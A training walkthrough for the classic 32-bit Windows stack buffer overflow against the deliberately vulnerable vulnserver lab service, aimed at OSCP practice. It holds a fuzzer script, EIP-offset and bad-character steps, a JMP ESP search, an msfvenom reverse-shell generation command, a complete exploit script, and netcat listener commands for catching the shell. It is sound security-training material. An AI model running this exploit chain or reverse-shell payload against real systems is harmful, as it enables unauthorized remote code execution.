Stack BOF walkthrough — end to end
TL;DR: Six-step recipe for a classic 32-bit Windows stack buffer overflow with DEP/ASLR off: fuzz → crash → control EIP → bad chars → JMP ESP → shellcode. Practise this on vulnserver until it takes 20 minutes. Companion to stack-buffer-overflow and porting-public-exploits.
Target setup
- Windows 7/10 VM with a deliberately vulnerable service: vulnserver, Brainpan, SLMail, Crossfire — pick one.
- Immunity Debugger + mona.py installed (or x64dbg + ERC).
- Kali attacker on the same network.
- Take a clean snapshot of the target before you start.
Step 0 — attach the debugger
1
2
File → Attach → vulnserver.exe
F9 to run
The service should be reachable on its port (vulnserver: 9999).
Step 1 — fuzz
You want the size of input that causes a crash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import socket, time
ip = "10.10.10.5"
port = 9999
cmd = "TRUN "
size = 100
inc = 100
while True:
try:
with socket.create_connection((ip, port), timeout=5) as s:
s.recv(1024)
print(f"[+] sending {size} bytes")
s.send((cmd + "A"*size + "\r\n").encode())
s.recv(1024)
size += inc
time.sleep(0.5)
except Exception as e:
print(f"[!] crashed at {size} bytes ({e})")
break
Debugger should show an access violation; EIP looks like 41414141 (that’s ASCII ‘A’). Note the crash size, e.g. 2700.
Step 2 — find the EIP offset
1
2
# generate a unique 3000-byte cyclic pattern
msf-pattern_create -l 3000 > pattern.txt
Send it once:
1
payload = b"TRUN " + open("pattern.txt","rb").read() + b"\r\n"
Read EIP from the debugger after the crash (e.g. 0x386F4337):
1
2
msf-pattern_offset -l 3000 -q 386F4337
# → exact match at offset 2003
Step 3 — confirm EIP control
1
2
offset = 2003
payload = b"TRUN " + b"A"*offset + b"BBBB" + b"C"*(3000-offset-4) + b"\r\n"
Restart vulnserver (or use mona’s !mona pc to re-prime). Send. EIP should now be exactly 42424242. If not, your offset is wrong — recount.
Step 4 — bad characters
Some bytes corrupt the input (\x00 always; \x0a/\x0d often in line-based protocols; web protocols often &, =, +). You need to know which to exclude from your shellcode.
1
2
badchars = bytes(range(1, 256)) # 0x01..0xFF
payload = b"TRUN " + b"A"*offset + b"BBBB" + badchars + b"\r\n"
In Immunity:
1
!mona compare -f badchars.bin -a <ESP_addr>
badchars.bin is a file you write containing 0x01..0xFF in order. Mona shows where the bytes diverge — those are bad chars. Common result for vulnserver TRUN: \x00.
Re-run, removing each newly-found bad char from the array, until mona reports “Unmodified”.
Step 5 — find a JMP ESP
After EIP overwrite, ESP points to whatever you wrote after the 4 EIP bytes. So if EIP = address of a JMP ESP instruction, control flows into your post-EIP bytes — your shellcode.
1
!mona modules
Look for a module with all protections False (ASLR/SafeSEH/Rebase/NX) and no version dependence. For vulnserver that’s essfunc.dll.
1
!mona find -s "\xff\xe4" -m essfunc.dll
Pick an address that contains no bad chars (e.g. 0x625011AF). Endian-swap for the payload:
1
ret = b"\xaf\x11\x50\x62" # little-endian
Step 6 — shellcode
Generate a payload that excludes your bad chars and is small enough.
1
2
3
4
5
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-b '\x00' \
EXITFUNC=thread \
-f python -v shellcode
EXITFUNC=thread is critical — process exits the whole service after your shell drops, killing your shell with it.
Final payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket
ip, port = "10.10.10.5", 9999
offset = 2003
ret = b"\xaf\x11\x50\x62" # JMP ESP in essfunc.dll
nops = b"\x90" * 16 # landing pad
shellcode = b"\xdb\xcb\xb8..." # msfvenom output
payload = b"TRUN " + b"A"*offset + ret + nops + shellcode + b"\r\n"
# listener first!
# nc -lvnp 4444
with socket.create_connection((ip, port)) as s:
s.recv(1024)
s.send(payload)
Catch:
1
2
3
nc -lvnp 4444
# Microsoft Windows [Version ...]
# C:\>
Common failures and what to check
- EIP isn’t
42424242→ offset wrong, or you have multiple matches (pattern too short). Usepattern_offsetcarefully. - EIP is
42424242but shellcode doesn’t fire → bad chars not fully eliminated, or JMP ESP gadget has a bad-char byte in its address. - You get a shell but it dies in seconds →
EXITFUNC=threadnot set, or shellcode size > buffer remaining after EIP. - Connection refused on listener → firewall on Kali, or you sent the payload before starting
nc.
Practice ladder (in this order)
- vulnserver — TRUN (textbook BOF).
- vulnserver — KSTET (egghunter — see egghunters).
- vulnserver — GMON (SEH overwrite — see seh-overwrite).
- Brainpan (full box from THM).
- SLMail (HackTheBox-style).
- Crossfire (Linux variant, ELF + execve shellcode).
Beyond the basics — what the modern OSCP expects you to know
- 64-bit BOF: 8-byte addresses, calling convention differences, ROP almost always required for DEP. See rop-chains.
- ASLR-on targets: leak an address first, derive others, then ROP. See aslr-bypass.
- Stack canaries: see exploit-primitives-for-mitigated-targets.
For OSCP itself, the textbook 32-bit no-mitigations chain is still in scope and still appears in the lab. Practise it cold.